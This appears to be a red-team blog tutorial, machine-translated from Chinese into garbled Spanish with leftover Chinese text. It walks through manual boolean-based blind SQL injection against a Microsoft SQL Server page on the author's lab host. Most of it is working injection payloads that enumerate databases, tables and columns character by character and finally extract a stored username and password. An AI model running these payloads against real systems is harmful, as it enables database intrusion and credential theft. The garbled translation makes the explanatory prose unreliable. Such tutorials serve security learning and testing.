saulGoodman
Una serie de investigaciones ofensivo y defensivo se centró en equipo rojo del público
Nota manos de ciego Microsoft SQL Server Boole
Nota START determina si hay
'
and 1=1
and 1=2
nombre de la base de la conjetura
En primer lugar existe dbida conjetura:
http://192.168.159.135:8080/get.aspx?id=1 and (select count(*) from master.dbo.sysdatabases where dbid=5)=1
Los medios afirmación anterior de que esta consulta dbid=5
está presente, el último =1
es si hay un significado! Descripción vuelve a la normalidad la existencia!
Debido a que he construido dos bases de datos: test
(dbid5), saulgoodman
(dbid6)
Así podemos comprobar su existencia dbid6
:
http://192.168.159.135:8080/get.aspx?id=1 and (select count(*) from master.dbo.sysdatabases where dbid=6)=1
Consulta dbid7
, a continuación, se devolverá un error: porque no existe
Según DBID adivinar el nombre de la biblioteca, el primero en adivinar la longitud
http://192.168.159.135:8080/get.aspx?id=1 and (select count(*) from master.dbo.sysdatabases where dbid=5 and len(name)=4)=1
Debido a que nuestro dbid5
nombre de base de datos es test
, que es la longitud 4
! dbid=5 and len(name)=4
Este medio de la declaración de que la consulta dbid=5
si la longitud del nombre de la base de datos =4
, que volver a longitud normal =4
!
http://192.168.159.135:8080/get.aspx?id=1 and (select count(*) from master.dbo.sysdatabases where dbid=6 and len(name)=11)=1
Consultamos dbid6
el nombre de base de datos es saulgoodman
, la longitud de él 11
! dbid=6 and len(name)=11
Este medio de la declaración de que la consulta dbid=6
si la longitud del nombre de la base de datos =11
, que volver a longitud normal =11
! Y así sucesivamente los nombres de longitud consulta más de una base de datos!
Según consultas DBID uno por uno para consultar el nombre de la base
PD: substring(str,start,len)
efecto de la cadena de la intervención, con la primera cadena a ser tomado como un parámetro, el segundo parámetro se toma por dónde empezar, el tercer parámetro es la longitud tomada
ascii(char)
El 字符
convertida ascii
valor
Debido a que nuestro dbid5
nombre de la base test
, su primer carácter t
es ASCII
el código 116
, podemos usar la siguiente instrucción para determinar:
and ascii(substring((select top 1 name from master.dbo.sysdatabases where dbid=5),1,1)) = 116
Seguido de la consulta:
第二个字符:e
and ascii(substring((select top 1 name from master.dbo.sysdatabases where dbid=5),2,1)) = 101
第三个字符:s
and ascii(substring((select top 1 name from master.dbo.sysdatabases where dbid=5),3,1)) = 115
第四个字符:t
and ascii(substring((select top 1 name from master.dbo.sysdatabases where dbid=5),4,1)) = 116
Así que supongo que la base de datos solución llamada a cabo: test
!
Si quiere adivinar el nombre de la base de datos, entonces se dbid
cambia a 6
, y luego seguir la operación anterior se repite lo suficiente!
Adivinar el nombre de la tabla
Porque sabemos que el nombre de la base test
, y entonces podemos utilizar la siguiente declaración a la pregunta de si la longitud de un nombre de tabla iguales 5
(nombre de la tabla users
):
and (select count(*) from test.dbo.sysobjects where name in (select top 1 name from test.dbo.sysobjects where xtype='u') and len(name)=5)=1
Visto desde la figura, la descripción de la página de su retorno a la longitud normal 5
, por lo que podemos adivinar su carácter de uno por uno:users
猜解第一个字符:u
and (select count(*) from test.dbo.sysobjects where name in (select top 1 name from test.dbo.sysobjects where xtype='u') and ascii(substring(name,1,1))=117)=1
猜解第二个字符:s
and (select count(*) from test.dbo.sysobjects where name in (select top 1 name from test.dbo.sysobjects where xtype='u') and ascii(substring(name,2,1))=115)=1
猜解第三个字符:e
and (select count(*) from test.dbo.sysobjects where name in (select top 1 name from test.dbo.sysobjects where xtype='u') and ascii(substring(name,3,1))=101)=1
猜解第四个字符:r
and (select count(*) from test.dbo.sysobjects where name in (select top 1 name from test.dbo.sysobjects where xtype='u') and ascii(substring(name,4,1))=114)=1
猜解第五个字符:s
and (select count(*) from test.dbo.sysobjects where name in (select top 1 name from test.dbo.sysobjects where xtype='u') and ascii(substring(name,5,1))=115)=1
Porque sabemos que el nombre de la base de datos es la test
primera 一
uno 表名
es users
, y entonces podemos utilizar la siguiente declaración para consultar los primeros 二
dos 表名
caracteres (nombre de la tabla info
):
猜解第一个字符:i
and (select count(*) from test.dbo.sysobjects where name in (select top 1 name from test.dbo.sysobjects where xtype='u' and name not in ('users')) and ascii(substring(name,1,1))=105)=1
猜解第二个字符:n
and (select count(*) from test.dbo.sysobjects where name in (select top 1 name from test.dbo.sysobjects where xtype='u' and name not in ('users')) and ascii(substring(name,2,1))=110)=1
猜解第三个字符:f
and (select count(*) from test.dbo.sysobjects where name in (select top 1 name from test.dbo.sysobjects where xtype='u' and name not in ('users')) and ascii(substring(name,3,1))=102)=1
猜解第二个字符:o
and (select count(*) from test.dbo.sysobjects where name in (select top 1 name from test.dbo.sysobjects where xtype='u' and name not in ('users')) and ascii(substring(name,4,1))=111)=1
Adivinar el nombre de la columna
Porque sabemos que el nombre de la tabla users
, a continuación, podemos adivinar users
el nombre de la columna nombre de columna de la tabla es el nombre :( username
)
猜解列名第一个字符:u
and exists(select top 1 name from syscolumns where id =(select id from sysobjects where name = 'users') and unicode(substring(name,1,1))=117)
猜解列名第二个字符:s
and exists(select top 1 name from syscolumns where id =(select id from sysobjects where name = 'users') and unicode(substring(name,2,1))=115)
猜解列名第三个字符:e
and exists(select top 1 name from syscolumns where id =(select id from sysobjects where name = 'users') and unicode(substring(name,3,1))=101)
猜解列名第四个字符:r
and exists(select top 1 name from syscolumns where id =(select id from sysobjects where name = 'users') and unicode(substring(name,4,1))=114)
猜解列名第五个字符:n
and exists(select top 1 name from syscolumns where id =(select id from sysobjects where name = 'users') and unicode(substring(name,5,1))=110)
猜解列名第六个字符:a
and exists(select top 1 name from syscolumns where id =(select id from sysobjects where name = 'users') and unicode(substring(name,6,1))=97)
猜解列名第七个字符:m
and exists(select top 1 name from syscolumns where id =(select id from sysobjects where name = 'users') and unicode(substring(name,7,1))=109)
猜解列名第八个字符:e
and exists(select top 1 name from syscolumns where id =(select id from sysobjects where name = 'users') and unicode(substring(name,8,1))=101)
Esta solución de adivinar el 一
nombre de la columna username
!
La segunda manera: tenemos id
, username
, password
, age
cuatro columnas
Obtiene la primera columna es el nombre de la columna :( id
)
获取第一个字符:i
and ascii(substring((select top 1 name from syscolumns where id=(select id from sysobjects where xtype=0x75 and name='users')),1,1)) =105
获取第二个字符:d
and ascii(substring((select top 1 name from syscolumns where id=(select id from sysobjects where xtype=0x75 and name='users')),2,1)) =100
La obtención de una segunda columna es el nombre de la columna :( username
)
获取第一个字符:u
and ascii(substring((select top 1 name from syscolumns where id=(select id from sysobjects where xtype=0x75 and name='users') and name not in ('id')),1,1)) = 117
获取第二个字符:s
and ascii(substring((select top 1 name from syscolumns where id=(select id from sysobjects where xtype=0x75 and name='users') and name not in ('id')),2,1)) = 115
获取第三个字符:e
and ascii(substring((select top 1 name from syscolumns where id=(select id from sysobjects where xtype=0x75 and name='users') and name not in ('id')),3,1)) = 101
获取第四个字符:r
and ascii(substring((select top 1 name from syscolumns where id=(select id from sysobjects where xtype=0x75 and name='users') and name not in ('id')),4,1)) = 114
获取第五个字符:n
and ascii(substring((select top 1 name from syscolumns where id=(select id from sysobjects where xtype=0x75 and name='users') and name not in ('id')),5,1)) = 110
获取第六个字符:a
and ascii(substring((select top 1 name from syscolumns where id=(select id from sysobjects where xtype=0x75 and name='users') and name not in ('id')),6,1)) = 97
获取第七个字符:m
and ascii(substring((select top 1 name from syscolumns where id=(select id from sysobjects where xtype=0x75 and name='users') and name not in ('id')),7,1)) = 109
获取第八个字符:e
and ascii(substring((select top 1 name from syscolumns where id=(select id from sysobjects where xtype=0x75 and name='users') and name not in ('id')),8,1)) = 101
Obtiene la tercera columna es el nombre de la columna :( password
)
获取第一个字符:p
and ascii(substring((select top 1 name from syscolumns where id=(select id from sysobjects where xtype=0x75 and name='users') and name not in ('id') and name not in ('username')),1,1)) =112
获取第二个字符:a
and ascii(substring((select top 1 name from syscolumns where id=(select id from sysobjects where xtype=0x75 and name='users') and name not in ('id') and name not in ('username')),2,1)) =97
获取第三个字符:s
and ascii(substring((select top 1 name from syscolumns where id=(select id from sysobjects where xtype=0x75 and name='users') and name not in ('id') and name not in ('username')),3,1)) =115
获取第四个字符:s
and ascii(substring((select top 1 name from syscolumns where id=(select id from sysobjects where xtype=0x75 and name='users') and name not in ('id') and name not in ('username')),4,1)) =115
获取第五个字符:w
and ascii(substring((select top 1 name from syscolumns where id=(select id from sysobjects where xtype=0x75 and name='users') and name not in ('id') and name not in ('username')),5,1)) =119
获取第六个字符:o
and ascii(substring((select top 1 name from syscolumns where id=(select id from sysobjects where xtype=0x75 and name='users') and name not in ('id') and name not in ('username')),6,1)) =111
获取第七个字符:r
and ascii(substring((select top 1 name from syscolumns where id=(select id from sysobjects where xtype=0x75 and name='users') and name not in ('id') and name not in ('username')),7,1)) =114
获取第八个字符:d
and ascii(substring((select top 1 name from syscolumns where id=(select id from sysobjects where xtype=0x75 and name='users') and name not in ('id') and name not in ('username')),8,1)) =100
Si desea obtener la primera 四
fila, y luego continuar en la espalda además de unos estados de juicio: and name not in ('列名')
en él!
Obtener datos
and ascii(substring((select top 1 列名 from 表名),N,1)) >= 65
Conocemos el nombre de la tabla: users
el nombre de la columna es: username
, passwrd
a continuación, empezamos los datos de ráfaga :( saul
)
判断username列第一个字符:s
and ascii(substring((select top 1 username from users),1,1)) = 115
判断username列第二个字符:a
and ascii(substring((select top 1 username from users),2,1)) = 97
判断username列第三个字符:u
and ascii(substring((select top 1 username from users),3,1)) = 117
判断username列第四个字符:l
and ascii(substring((select top 1 username from users),4,1)) =108
Esto hará que al primer nombre de usuario:saul
Obtener saul
contraseñas :( contraseña saul520
)
判断 password 列第一个字符:s
and ascii(substring((select top 1 password from users),1,1)) =115
判断 password 列第二个字符:a
and ascii(substring((select top 1 password from users),2,1)) =97
判断 password 列第三个字符:u
and ascii(substring((select top 1 password from users),3,1)) =117
判断 password 列第四个字符:l
and ascii(substring((select top 1 password from users),4,1)) =108
判断 password 列第五个字符:5
and ascii(substring((select top 1 password from users),5,1)) =53
判断 password 列第六个字符:2
and ascii(substring((select top 1 password from users),6,1)) =50
判断 password 列第七个字符:0
and ascii(substring((select top 1 password from users),7,1)) =48
Desde jeroglíficos Mssql
inyección manual de 布尔盲注
aquí -